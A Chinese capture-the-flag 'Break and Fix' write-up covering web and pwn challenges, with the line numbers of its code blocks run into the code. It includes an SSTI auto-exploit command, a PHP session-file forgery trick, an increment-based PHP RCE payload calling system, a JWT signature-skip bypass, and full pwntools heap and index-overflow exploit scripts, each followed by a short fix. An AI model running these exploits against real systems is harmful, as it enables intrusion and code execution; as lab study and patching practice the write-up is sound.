Break和Fix阶段都是小组第一

比赛的时候没写wp,赛后复现

web-ezSSTIBreak焚靖一把梭python -m fenjing crack --url "http://192.168.100.100:10007/" --method GET --inputs name --environment jinja

Fixapp.py

123456789101112131415161718from flask import Flask,requestfrom jinja2 import Templateimport reapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name','CTFer

1:首先很明显,当$_SESSION['admin'] === true时就给flag,所以我们需要伪造session

123

  • 2:网页有个下载功能点,可以自定义后缀

    但是过滤了../

    123456789default: // I don't know what extension this is, but I'll still give you the file. Don't plaany tricks, okay~ $compressedData = str_rot13($backupMemos); $filename .= '.' . $compressionMethod; $mimeType = 'text/plain'; while (strpos($filename, '../') !== false) { $filename = str_replace('../', '', $filename); } break;

    3:接着file_put_contents写到/tmp目录下,格式为用户名_随机数.文件后缀,其中用户名和文件后缀是可控的

    123456789101112$random = bin2hex(random_bytes(8));$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;$compressionMethod = $_POST['compression'] ?? 'none';$filename .= '.' . $compressionMethod;file_put_contents($filename, $compressedData);// Send headers and output file contentheader('Content-Description: File Transfer');header('Content-Type: ' . $mimeType);header('Content-Disposition: attachment; filename="' . basename($filename) . '"');header('Content-Length: ' . filesize($filename));readfile($filename);

    根据第二点和第三点可以得知,当传compression值为./时,与前面的.组合变成../,然后被替换成空,就可以修改文件格式为用户名_随机数

    而在php中,session文件默认位置是/tmp/sess_PHPSESSID,那么我们就可以把伪造的内容写入文件,然后设置PHPSESSID去访问

    本题用的解析引擎是默认的php,格式为键名 + 竖线 + 经过serialize()函数序列化处理的值,例如username|s:1:"q";memos|a:1:{i:0;s:1:"a";}

    我们可以伪造一个admin|b:1;username|s:5:"admin";,注意代码中还有一层str_rot13,变成nqzva|o:1;hfreanzr|f:5:"nqzva";

    然后用sess登录后写入进memos

    设置后缀为./,写入到sess_46364caa4533f999

    设置PHPSESSID为46364caa4533f999访问拿到flag

    Fix我的修法应该是非预期了

    直接修改读flag的命令就过了

    123

  • 正常可以设置一个判断,使用户不能等于sess或者在后缀处加个白名单等等

    web-fuzee_rceBreak弱口令admin/admin123直接登录后跳转到goods.php,然后就是一片空白,当时比赛时尝试了几个常见的参数,都没试出来就放弃了,在Fix阶段看到源码后没想到参数是w1key

    传参后拿到源码

    1234567891011121314151617181920 999999999) { echo "good"; } else { die("Please input a valid number!"); }}if (isset($_POST['w1key'])) { $w1key = $_POST['w1key']; strCheck($w1key); eval($w1key);}?>Please input a valid number!

    第一个if没啥用,要过的话用科学计数法就行

    第二个if存在一个代码执行,但是有个waf,会过滤一些字符,同时存在长度限制

    先fuzz看下能用的符号

    可以用自增rce

    w1key=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=ls

    Fix比赛时修的代码:

    1234567891011121314\"|`~\\\\]/",$w1key)){ return $w1key; }else{ die("黑客是吧,我看你怎么黑!"); } } else{ die("太长了"); } }

    web-Oh! My PDFBreak

    忘记当时有没有给源码了,就先当没有源码来分析吧

    有个注册和登录功能,主页面的功能是访问提供的url并转成pdf然后下载

    随意注册一个账号登录后提示需要是admin权限才能操作

    抓包发现使用了jwt,尝试空密钥直接修改isadmin的值后成功绕过

    然后是主功能点,试了下不能使用类似file://的协议,只能使用http://在vps上开个监听,访问后可以看到WeasyPrint库的特征

    这个爬虫虽然不会渲染js,但是却可以解析,因此我们可以在vps上构造payload: 来实现任意文件读取

    例如

    123456789

    然后去访问这个页面,返回一个pdf,用binwalk提取就能看到文件内容了

    Fix123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_forfrom flask_sqlalchemy import SQLAlchemyimport jwtimport refrom urllib.parse import urlsplitfrom flask_weasyprint import HTML, render_pdffrom werkzeug.security import generate_password_hash, check_password_hashimport osapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(10)app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'db = SQLAlchemy(app)URL_REGEX = re.compile( r'http(s)?://' # http or https r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True, nullable=False) password = db.Column(db.String(80), nullable=False) is_admin = db.Column(db.Boolean, nullable=False, default=False)def create_database(app): with app.app_context(): db.create_all()def is_valid_url(url): if not URL_REGEX.match(url): return False return True@app.route('/register', methods=['POST','GET'])def register(): if request.method == 'POST': try: data = request.form hashed_password = generate_password_hash(data['password']) new_user = User(username=data['username'], password=hashed_password, is_admin=False) db.session.add(new_user) db.session.commit() return render_template('register.html',message='User registered successfully') except: return render_template('register.html',message='Register Error!'),500 else: return render_template('register.html',message='please register first!')@app.route('/login', methods=['POST','GET'])def login(): if request.method == 'POST': data = request.form user = User.query.filter_by(username=data['username']).first() if user and check_password_hash(user.password, data['password']): access_token = jwt.encode( {'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256") res = make_response(redirect(url_for('ohmypdf'))) res.set_cookie('access_token',access_token) return res, 200 else: return render_template('login.html',message='Invalid username or password'), 500 else: return render_template('login.html'), 200@app.route('/', methods=['GET', 'POST'])def ohmypdf(): access_token = request.cookies.get('access_token') if not access_token: return redirect(url_for("login")) try: decoded_token = jwt.decode( access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False}) isadmin = decoded_token['isadmin'] except: return render_template('login.html',message='Invalid access token') if not isadmin: return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403 if request.method == 'POST': url = request.form.get('url') if is_valid_url(url): try: html = HTML(url=url) pdf = html.write_pdf() response = make_response(pdf) response.headers['Content-Type'] = 'application/pdf' response.headers['Content-Disposition'] = 'attachment; filename=output.pdf' return response except Exception as e: return f'Error generating PDF', 500 else: return f'Invalid URL!' else: return render_template("index.html"), 200if __name__ == '__main__': create_database(app) app.run(host='0.0.0.0', port=8080)

    看下代码中关于jwt的部分,可以从这部分入手

    123456789app.config['SECRET_KEY'] = os.urandom(10)access_token = jwt.encode( {'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")decoded_token = jwt.decode( access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})isadmin = decoded_token['isadmin']

    {"verify_signature": False} 修改成 {"verify_signature": True}

    参考文章1参考文章2

    pwn-arrary_index_bankBreak整数溢出

    123456789101112131415161718192021222324252627282930313233343536from pwn import *def show(ind): p.sendlineafter('>','1') p.sendlineafter('account?',str(ind)) p.readuntil('=') d=int(p.readline()) return ddef edit(ind,data): p.sendlineafter('>','2') p.sendlineafter('account?',str(ind)) p.sendlineafter('much?',str(data))e=ELF("./pwn")p=process("./pwn")d=show(-1)print(hex(d))win=d-0x1426+0x1315e.address=d-0x1426d=show(-2)print(hex(d))stack=d-0x30you=e.address+0x4010ind=(you-stack)//8#print(show(ind))edit(ind,0x20)print(edit(7,win))p.interactive()

    Fix修改jle指令变成jbe

    JBE用于无符号数比较,JLE用于有符号数比较

    pwn-easy_forceBreakhouse_of_force

    123456789101112131415161718192021222324252627282930313233343536373839404142from pwn import *import timecontext.log_level='debug'def add(ind,size,data='\n',end=False): p.sendlineafter('away','1') p.sendlineafter('index?',str(ind)) p.sendlineafter('want?',str(size)) p.sendafter('write?',data) if end==False: p.readuntil('balckbroad on ') d=int(p.readuntil(' '),16) return dgadget=0x6a2226puts=0x6f6a0def pwn(p): #gadget=int(input("asdfasdf:"),16) chunk1=add(0x0,0x18,b'\x00'*0x18+b'\xff'*8) top_chunk=chunk1+0x20 to=0x602000 chunk2=add(1,(to-top_chunk)) chunk3=add(2,0x58,b'a'*0x18+gadget.to_bytes(3,'little'),True) print(hex(chunk2)) p.sendline("asdfasdf") d=p.readuntil('asdfasdf',timeout=0.01) if b'asdf' not in d: return p.interactive() passwhile True: try: p=process('./pwn') # gdb.attach(p) pwn(p) except Exception as e: print(e) pass p.close() time.sleep(0.01)

    Fix修改写入数据长度 0x30-->0x10

    pwn-Printf but not fmtstrBreak12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061from pwn import *context.arch='amd64'def add(ind,size): p.sendlineafter(b'>',b'1') p.sendlineafter(b'Index:',str(ind)) p.sendlineafter(b'Size:',str(size))def free(ind): p.sendlineafter(b'>',b'2') p.sendlineafter(b'Index: ',str(ind))def edit(ind,data): p.sendlineafter(b'>',b'3') p.sendlineafter(b'Index: ',str(ind)) p.sendafter(b'Content: ',data)def show(ind): p.sendlineafter(b'>',b'4') p.sendlineafter(b'Index: ',str(ind))libc=ELF("./pwn2lib")p=process('./pwn2')gdb.attach(p)add(0,0x508)add(1,0x518)add(4,0x518)add(2,0x518)add(3,0x518)# onefree(2)show(2)p.readuntil(b'Content: ')lbin=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))libc.address=lbin-0x40-62*0x10-0x60-0x10-0x1f6830-0x430success(f"{libc.address=:x}")add(4,0x600)edit(2,p64(lbin)*2+p64(0x404140)*2)free(0)add(5,0x600)show(2)p.readuntil(b'Content: ')chunk0=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))success(f"{chunk0=:x}")fc=0x4040e0add(6,0x508)payload=flat({0:[0,0x501,fc-0x18,fc-0x10],0x500:[0x500,0x520]},filler=b'\x00')edit(0,payload)free(1)edit(0,p64(0x4040e0)*16)edit(0,p64(0x404000))edit(0,p64(0x4011d6))free(1)p.interactive()

    Fix修改plt表中的free函数项,使其在执行时跳转到自己构造的指令位置,用于执行free函数并将指针数组中被释放的chunk的地址设置为NULL